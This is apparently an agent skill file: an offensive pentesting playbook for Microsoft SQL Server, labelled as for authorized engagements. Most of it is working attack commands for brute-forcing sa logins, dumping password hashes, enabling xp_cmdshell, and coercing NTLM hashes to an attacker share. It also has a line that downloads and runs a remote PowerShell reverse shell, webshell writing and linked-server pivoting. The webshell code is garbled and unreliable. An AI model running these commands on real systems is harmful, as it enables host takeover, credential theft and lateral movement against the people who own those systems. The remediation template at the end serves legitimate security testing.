pentesting-mssql

name	pentesting-mssql
description	Testing Microsoft SQL Server (default port 1433, UDP 1434 browser) for default/weak SA credentials, Windows-auth and NTLM relay/coercion, xp_cmdshell OS command execution, linked-server lateral movement, and OLE/BULK file read-write primitives during authorized engagements.
domain	cybersecurity
subdomain	network-services-pentesting
tags	["penetration-testing","network-services","database","mssql"]
version	1.0
author	xalgorix
license	Apache-2.0

Pentesting MSSQL (port 1433)

When to Use

• Default port 1433/tcp (engine), 1434/udp (SQL Server Browser for instance discovery), named instances on dynamic ports.
• Banner like Microsoft SQL Server 2017 14.00.1000.00; common in Active Directory environments where MSSQL service accounts and linked servers enable lateral movement.
• Use with recovered creds, Windows/Kerberos auth, or to coerce NTLM authentication from the SQL service account.
• Note: managed DBaaS (Amazon RDS) disables xp_cmdshell and TRUSTWORTHY — pivot to app-layer / data exfil there.

Quick Enumeration

# Instance discovery + info (no creds needed for ms-sql-info / ntlm-info)
nmap -sV -p1433 --script ms-sql-info,ms-sql-ntlm-info,ms-sql-empty-password,ms-sql-config,ms-sql-dac \
  --script-args mssql.instance-port=1433 <IP>
msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS <IP>; run; exit'

# Authenticated client connections
impacket-mssqlclient <DOMAIN>/<USER>:<PASS>@<IP>
impacket-mssqlclient -windows-auth <DOMAIN>/<USER>:<PASS>@<IP>   # use NetBIOS name as domain
sqsh -S <IP> -U sa -P <PASS>        # in sqsh, type query then GO

Critical: Checks Most Often Missed

• Default / empty sa — try sa with empty and common passwords. Be careful: too many failures lock accounts.
  • How to CONFIRM: nmap --script ms-sql-empty-password -p1433 <IP>, or impacket-mssqlclient sa:@<IP> connects.
• xp_cmdshell OS command execution — sysadmins (and users with EXECUTE on it) can enable and run shell commands as the SQL service account.
  • How to CONFIRM: SELECT IS_SRVROLEMEMBER('sysadmin'); returns 1; then EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC master..xp_cmdshell 'whoami'; returns output.
• NTLM coercion / relay — xp_dirtree/xp_subdirs/xp_fileexist make the service account authenticate to an attacker host; capture or relay the NetNTLMv2 hash.
  • How to CONFIRM: start responder -I tun0 (or impacket-smbserver share ./ -smb2support) then EXEC master..xp_dirtree '\\<attacker_IP>\share'; — a hash arrives. Crack with Hashcat mode 5600.
• Linked servers → remote RCE — a low-priv login can run queries on a linked instance as the mapped remote principal; if that maps to sysadmin, enable xp_cmdshell on the far end.
  • How to CONFIRM: EXEC sp_linkedservers; EXEC ('SELECT IS_SRVROLEMEMBER(''sysadmin'')') AT [LINK]; returns 1.
• File read/write primitives — OPENROWSET(BULK ...) reads any file the account can read (needs ADMINISTER BULK OPERATIONS); Ole Automation Procedures write files (e.g. a webshell).
  • How to CONFIRM: SELECT * FROM OPENROWSET(BULK N'C:/Windows/win.ini', SINGLE_CLOB) AS x; returns content.
• Other RCE surfaces: sp_execute_external_script (Python/R), CLR assemblies (needs dbo/sa), SQL Agent jobs, registry via xp_regread/xp_regwrite.

Workflow

Step 1: Enumerate

nmap -sV -p1433 --script ms-sql-info,ms-sql-ntlm-info <IP>
# In a SQL session:
# select @@version;  select user_name();  SELECT name FROM master.dbo.sysdatabases;
# EXEC sp_linkedservers;  SELECT IS_SRVROLEMEMBER('sysadmin');  EXEC sp_helprotect 'xp_cmdshell';

Step 2: Authenticate (default/empty creds, brute force, AD)

impacket-mssqlclient sa:@<IP>                                  # empty sa
nxc mssql <IP> -u sa -p 'P@ssw0rd'
nxc mssql <IP> --local-auth -u user -p 'pass' --rid-brute 5000 # enumerate domain users via RIDs
hydra -L users.txt -P passwords.txt <IP> mssql
# MSSqlPwner brute with tickets/hashes/passwords
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt -hl hashes.txt

Step 3: Exploit / Extract (data dump + xp_cmdshell / file primitive)

-- Dump logins + hashes (crack with Hashcat 1731 for mssql2012+)
SELECT * FROM master.sys.syslogins;
SELECT name, password_hash FROM sys.sql_logins;

-- Enable + run xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC master..xp_cmdshell 'whoami';
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile';

-- File READ (needs ADMINISTER BULK OPERATIONS)
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents;

-- File WRITE webshell via Ole Automation Procedures
EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
DECLARE @OLE INT, @FileID INT;
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT;
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1;
EXECUTE sp_OAMethod @FileID, 'WriteLine', , ;
 sp_OADestroy ;  sp_OADestroy ;

-- NTLM coercion to capture/relay the service account hash
EXEC master..xp_dirtree '\\<attacker_IP>\share';
EXEC master..xp_subdirs '\\<attacker_IP>\share';

Step 4: Post-access / privilege escalation / pivot

-- Linked server lateral movement -> remote RCE if mapped login is sysadmin
EXEC sp_linkedservers; EXEC sp_helplinkedsrvlogin '<LINK>';
EXEC ('SELECT SYSTEM_USER') AT [<LINK>];
EXEC ('sp_configure ''show advanced options'',1; RECONFIGURE;') AT [<LINK>];
EXEC ('sp_configure ''xp_cmdshell'',1; RECONFIGURE;') AT [<LINK>];
EXEC ('EXEC xp_cmdshell ''whoami''') AT [<LINK>];

• impacket fast path: enum_links, use_link [NAME], enable_xp_cmdshell, xp_cmdshell whoami.
• Escalate db_owner→sysadmin (mssql_escalate_dbowner) or via IMPERSONATE/EXECUTE AS (mssql_escalate_execute_as).
• Silver-ticket the MSSQLSvc SPN after recovering the service NTLM hash to impersonate a sysadmin group.

Key Concepts

Concept	Description
sa login	Built-in sysadmin; default target for weak/empty password checks.
xp_cmdshell	Extended stored proc running OS commands as the SQL service account (needs enabling + EXECUTE).
Linked server	Cross-instance link; queries run as the mapped remote login (EXEC (...) AT [LINK]).
NTLM coercion	xp_dirtree/xp_subdirs/xp_fileexist force outbound SMB auth to capture/relay NetNTLMv2.
OPENROWSET BULK	Reads arbitrary files (requires ADMINISTER BULK OPERATIONS).
Ole Automation Procedures	sp_OACreate/sp_OAMethod write files (webshell drop).
sp_execute_external_script	Runs Python/R under a separate account — extra RCE path.
DBaaS limits	RDS/managed instances disable xp_cmdshell and TRUSTWORTHY; focus on data/app layer.

Tools & Systems

Tool	Purpose
impacket-mssqlclient	Auth (SQL + -windows-auth + -k Kerberos), enum_links, enable_xp_cmdshell, xp_cmdshell.
sqsh / sqlcmd / osql	Native CLI clients for interactive queries and CSV export.
nmap NSE	ms-sql-info, ms-sql-ntlm-info, ms-sql-empty-password, ms-sql-config, ms-sql-dac, ms-sql-xp-cmdshell.
Metasploit	scanner/mssql/mssql_ping, mssql_hashdump, admin/mssql/mssql_enum, mssql_exec, mssql_escalate_*, mssql_ntlm_stealer.
netexec (nxc)	nxc mssql <IP> -u .. -p .. for auth, -x/-X command exec, --rid-brute.
MSSqlPwner	Brute, linked-server chains, ntlm-relay, custom-asm CLR exec.
Responder / impacket-smbserver	Capture/relay the coerced NetNTLMv2 hash (Hashcat 5600).

Common Scenarios

Scenario 1: Empty sa → command execution

impacket-mssqlclient sa:@<IP> connects. IS_SRVROLEMEMBER('sysadmin') returns 1, so the tester enables and runs xp_cmdshell 'whoami', getting code execution as the SQL service account.

Scenario 2: Hash coercion → AD foothold

A low-priv login can still run xp_dirtree '\\attacker\share'. With Responder running, the SQL service account's NetNTLMv2 is captured and cracked, then reused for further AD access.

Scenario 3: Linked-server chain → remote RCE

The accessible instance has a linked server whose login maps to sysadmin on a second host. EXEC (...) AT [LINK] enables xp_cmdshell remotely and runs commands on a different machine, pivoting deeper into the network.

Output Format

## MSSQL Finding

**Service**: Microsoft SQL Server
**Port**: 1433/tcp (SQL Server 2017)
**Severity**: Critical
**Finding**: Weak SA credentials with xp_cmdshell enabled
**Evidence**:
  - impacket-mssqlclient sa:'<pass>'@<IP> -> connected, IS_SRVROLEMEMBER('sysadmin')=1
  - EXEC master..xp_cmdshell 'whoami' -> nt service\mssqlserver
**Impact**: Full OS command execution as the SQL service account, enabling host compromise and AD lateral movement.
**Recommendation**:
  1. Set strong unique credentials for sa and all SQL logins; disable sa if unused.
  2. Keep xp_cmdshell and Ole Automation disabled; restrict sysadmin membership.
  3. Block outbound SMB from the SQL host and enforce SMB signing to stop NTLM relay.
  4. Review linked-server login mappings; avoid mapping low-priv logins to remote sysadmin.